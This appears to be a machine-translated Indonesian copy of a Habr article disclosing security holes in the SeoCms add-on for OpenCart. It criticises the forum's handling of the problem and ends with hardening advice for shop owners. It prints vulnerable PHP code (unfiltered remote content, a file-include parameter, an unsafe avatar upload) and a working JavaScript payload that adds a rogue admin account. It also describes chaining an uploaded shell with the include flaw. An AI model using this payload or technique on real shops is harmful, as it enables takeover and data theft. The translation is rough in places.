Opencartforum dan teman-teman

gambar

Semua anjing masuk surga, dan semua pemilik toko online di Opencart, cepat atau lambat di Opencartforum. Ketika euforia dari pemasangan pertama mesin pada hosting melewati dan kenyataan pahit dimulai, pemilik toko biasanya mulai kehilangan sesuatu dan dia memulai jalan yang sulit untuk menemukan kontraktor yang berkualitas dan add-on berkualitas untuk tokonya.

Sumber daya terbesar di Runet, tempat Anda dapat menemukan keduanya, adalah opencartforum.com, yang saat ini memiliki lebih dari 140 ribu pengguna terdaftar. Dari pendaftaran 140 ribu ini, bahkan setengahnya adalah orang-orang yang hidup dengan toko-toko langsung yang menggunakan templat atau modul yang dapat segera dibeli di situs. Dan semua orang ini bahkan tidak menyadari bahwa bersama dengan add-on yang mereka peroleh adalah backdoor dan kerentanan yang luar biasa, yang hanya bisa diimpikan oleh hacker ibu mana pun.

Meskipun dalam bentuk deklaratif dalam aturan untuk mengirim pengaya di toko forum, hitam dan putih ditulis. Kami memiliki departemen qad, orang-orang yang terlatih khusus memeriksa add-on untuk kerentanan.

Dan baik forum, sebagai platform yang memediasi antara penulis dan pengguna akhir dari add-on, maupun penulis add-on, ternyata, tidak bertanggung jawab.
Bagaimana bisa begitu? Dan begitu! Ternyata secara historis.

Memodelkan bagi diri saya sendiri konsekuensi hipotetis dari insiden itu, yang akan dibahas kemudian, rambut saya di kepala saya berdiri.

Bayangkan saja. Anda adalah pemilik toko yang sukses, belum tidur di malam hari selama beberapa tahun, menulis teks, menggigit hitam, putih, abu-abu seo, bertarung panda, minusinsk, tidak menghabiskan minuman Anda, menarik 100.000 pelanggan, berinvestasi dalam posisi. Anak-anak Anda pergi ke taman kanak-kanak yang baik, dan kemudian tiba-tiba penjualan Anda turun setengahnya, hanya karena basis Anda dengan semua kontak yang dihubungi pelanggan menjadi pesaing. Atau tiba-tiba Anda benar-benar kehilangannya, karena selama sebulan toko Anda telah bekerja di server mysql orang lain, dan Anda bahkan tidak melihat perubahan kofig, dan semua cadangan di hosting menjadi buruk.

Mereka mempresentasikan perasaan mereka dalam situasi yang sama, bekerja, bekerja selama beberapa tahun, dan dalam satu hari semuanya sia-sia. Anda berkata, ini tidak mungkin demikian.

Tapi itu bisa sangat mudah. Cukup dengan membeli add-on dengan "perlindungan" perlindungan yang tidak diucapkan yang tidak diumumkan terhadap penggunaan yang tidak sah, dan data Anda dapat dengan cepat menjadi orang asing!

Insiden pertama


Enam bulan lalu, satu toko dicegah secara dangkal ketika laporan pemindai Ai-Bol menunjukkan peringatan aneh untuk kode aneh dalam modul SeoCms (lebih dari 10.000 instalasi aktif).

Kami mulai melihat lebih dekat dan ternyata abracadabra ini hanya cukup menampilkan versi add-on:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

Tidak apa-apa kecuali itu:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

itu tidak difilter dengan cara apa pun, dan jika secara tidak sengaja skrip seperti yang ada di bawah ini masuk bukan versi klien, mendapatkan akses admin ke toko mana pun di mana modul dipasang adalah masalah waktu dan teknik.

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

Detail situasi dijelaskan di sini . Pemberitahuan administrasi di sini .

Mungkin yang kelima kalinya, setelah memodelkan proses ini dengan sangat jelas untuk administrasi forum, adalah mungkin untuk menyampaikan kekritisan situasi.

Dan administrasi, pada gilirannya, secara resmi memberi tahu pengguna tentang keberadaan kerentanan ini, dan tampaknya bahkan membuat buletin kepada pelanggan. Tetapi ini tidak akurat.

Mari kita tinggalkan di belakang layar ancaman dan penghindaran penulis add-on dan kembali dua bulan lagi ...

Insiden kedua


Toko lain datang untuk diperiksa, di mana ada jalur liar hingga 3-4 detik di setiap halaman. Kita mulai membedah dan melihat dalam folder dengan cache 20k + file dengan ekstensi .php. Cache file dengan ekstensi php Karl, itu bukan kebetulan!

Kami melihat struktur data dari file-file ini, dan ada lagi potongan-potongan modul SEOCMS kami yang indah.

Dan metode yang bagus:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

Ini adalah contoh kerentanan klasik - Sertakan File Lokal.

Cukup dengan kode di base64 ../....../config.php dan halo - memerlukan ($ ajax_file); Dan tolong: di sini Anda memiliki kata sandi dari database, dan di sini adalah log kesalahan sistem, dan jika bahkan / etc / pwd sangat diperlukan, meskipun sudah lama tidak relevan, yah, bagaimana jika?

Dan berapa banyak hoster dan server dengan pengaturan default yang bersinar di dunia phpmyadmin? Setengah? Lebih?

Kita mulai melihat lebih jauh dan apa yang kita temukan? Kode unduhan avatar yang luar biasa:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

Yang sempurna jatuh ke dalam kesalahan ketika mencoba untuk mengubah ukuran (dan menunjukkan kita path lengkap ke file yang diunduh), setelah memuat beberapa jenis shell.php.png, dan kemudian juga dieksekusi dengan sempurna oleh metode sebelumnya.

Video eksploitasi kerentanan (dengan output kesalahan sistem php dihidupkan):


Video eksploitasi kerentanan (dengan output kesalahan sistem php dimatikan):


Analisis kode dilakukan pada versi modul 52 pada bulan April 2019.

Karena penulis dan administrasi forum diberitahu pada tanggal yang sama, cukup waktu berlalu bagi mereka untuk mengambil semua tindakan yang mungkin untuk memberi tahu pembeli tentang penghapusan kerentanan, kami, dengan hati nurani yang jelas, dapat mengungkapkan semua detail.

Dan pada saat itu, sesuatu terjadi. Di server pengembang ada modulnya sendiri. Tetapi kerentanan itu tidak berhasil. Dia tertutup ... Dan ini adalah keanehan besar. Sangat besar !!!

Dan keanehan kedua dari keseluruhan cerita ini adalah bahwa opencartforum dalam pribadi administrasi dan departemen untuk kontrol kualitas add-ons tidak melihat insiden pertama atau kedua, dan dalam kedua kasus pada notifikasi pertama tidak menemukan sesuatu yang kritis.

Tentu saja tidak ada yang penting ketika konfigurasi Anda bersinar di dunia. Tidak ada yang penting ketika setengah dari pemilik toko tidak menyadari apa yang sedang terjadi di bawah tenda mereka. Lagi pula, mereka pernah, seseorang memasang pengaya ini, dan tanpa mengirim surat, mereka bahkan tidak menyadari bahwa seluruh bisnis berada di bawah ancaman langsung.

Dan jika ada reaksi yang berbeda dari administrasi pada insiden pertama, maka pada posting kedua semua dengan menyebutkan itu dihapus. Dan semua ini dicakup oleh tawaran forum , yang menurutnya, tentang penambahan komersial, komentar dapat dibiarkan tentang orang mati - baik atau tidak sama sekali.

Penulis juga mengklaim bahwa kesalahan dan lubang sudah diperbaiki, qadepartment melewatkan add-on untuk dijual, tetapi tidak, lubang tidak diperbaiki ...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

memerlukan () masih di sini. Masukan sedikit disaring. Tapi potensi LFI hidup dan hidup. Jika sedikit lagi, maka ya, sekarang kita tidak dapat memuat atau mengeksekusi shell. Tetapi misalkan kita mencoba, menutup, memperkuat pelaksanaan skrip apa pun kecuali index.php, dan bahkan pada tingkat konfigurasi nginx, yang tidak dapat diakses. Tetapi di suatu tempat di tempat lain, peretas jahat mendapat kesempatan untuk menempatkan file sewenang-wenang di folder cache. Apa yang akan terjadi Itu benar - untuk mengeksekusi kode asing, menghasilkan hash dalam permintaan dapatkan, dibutuhkan dua menit. Artinya, pada akhirnya ternyata, itu seperti ditutup, tapi sepertinya tidak sepenuhnya.

Nah, hal-hal kecil: bagaimana hubungan yang begitu indah bersinar dalam file bahasa:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

Dan mereka bersinar ... Anda ingin tahu jalan penuh ke akar proyek. Temukan saja toko dengan tampilan kesalahan dihidupkan dan jalankan tautan langsung ke file bahasa.

Untuk mempelajari apa lagi yang bisa dilakukan setelah memperbarui add-on dalam megabyte baris kode penulis - tidak ada sumber daya maupun keinginan. Ada orang-orang yang bertanggung jawab yang dilatih khusus untuk ini.

Dan ceri di atas kue. Kami ingat, kami memiliki pengaya komersial ... Dan dalam pengaya komersial kami memiliki teks tersembunyi di sumber penulis:
www.google.com/search?q=%22Powered+by+SEO+CMS%22

Menariknya, setidaknya salah satu pembeli tambahan tahu tentang telur paskah yang "luar biasa"?

Hari ini, suplemen dijual dan dijual. Posting dengan panggilan untuk memperhatikan situasi hanya dihapus. Tidak ada pembeli yang menerima pemberitahuan peringatan tentang insiden kedua. Mungkin 20-30% dari pengguna add-on telah diperbarui, tetapi 70% - bahkan jika kita berbicara tentang statistik penulis resmi tentang penggunaan add-on, ini adalah 7000 toko (pada kenyataannya, lebih banyak - karena tidak ada yang tahu pasti berapa banyak salinan yang dipasang oleh freelancer di toko klien. lisensi diperpanjang) berada di zona risiko besar.

Dalam kata-kata Baron Munchausen, saya hanya ingin mengatakan satu hal: Tuan-tuan yang diperbarui!

Untuk pelanggan


Apa yang harus dilakukan, mereka yang berakhir di kapal selam yang tenggelam ini:

  • Jangan tinggalkan sampah di ftp. Lihat info.php, adminer.php, dan semua sampah lainnya. Anda seharusnya hanya memiliki index.php dan sebuah titik.
  • Ubah kata sandi secara teratur, semua kata sandi (ftp, panel admin, database). Dan pastikan Anda tidak sengaja memiliki akun aneh tambahan.
  • Nonaktifkan output kesalahan. Selalu, jika Anda tidak bekerja, matikan output kesalahan pada tingkat konfigurasi juru dan tidak dalam pengaturan toko.
  • Ya, saya tahu ini tidak terlalu layak, tetapi Anda setidaknya harus tetap up to date dengan pembaruan kode mesin yang terkait dengan keamanan, dan idealnya, secara teratur memperbarui mesin ke versi stabil.
  • Secara teratur melihat log kunjungan, mungkin ada banyak hal menarik. Lacak anomali.
  • Tutup juga dengan kata sandi atau batasan pada admin ip toko dan berbagai bagian yang rentan, seperti phpmyadmin. Jika ini adalah berbagi di mana phpmyadmin adalah hal umum bagi semua orang, larilah dari hosting semacam itu!
  • Jika Anda menggunakan sxd dan utilitas serupa, segera ganti namanya menjadi kumpulan karakter acak.
  • Saat menggunakan nginx, ada baiknya menambahkan aturan ke konfigurasi virtual host yang melarang menjalankan skrip php selain index.php di bagian root dan admin situs.
  • Jangan membuang sampah dari akun Anda. Jika Anda memiliki toko, maka biarkanlah itu toko. Jangan memuat di bawah satu akun banyak wp-blog, setumpuk bug dan berbagai domain uji.
  • Jangan pernah menyimpan cadangan situs atau basis data di root host virtual Anda.
  • Perhatikan muatan di server / hosting, cobalah untuk menjaga persediaan setidaknya x2 dari beban puncak, dan jika tiba-tiba beban tiba-tiba meningkat tanpa alasan, coba cari tahu alasannya. Lebih baik menyalip daripada tidak menyelesaikan!

Source: https://habr.com/ru/post/id466283/


All Articles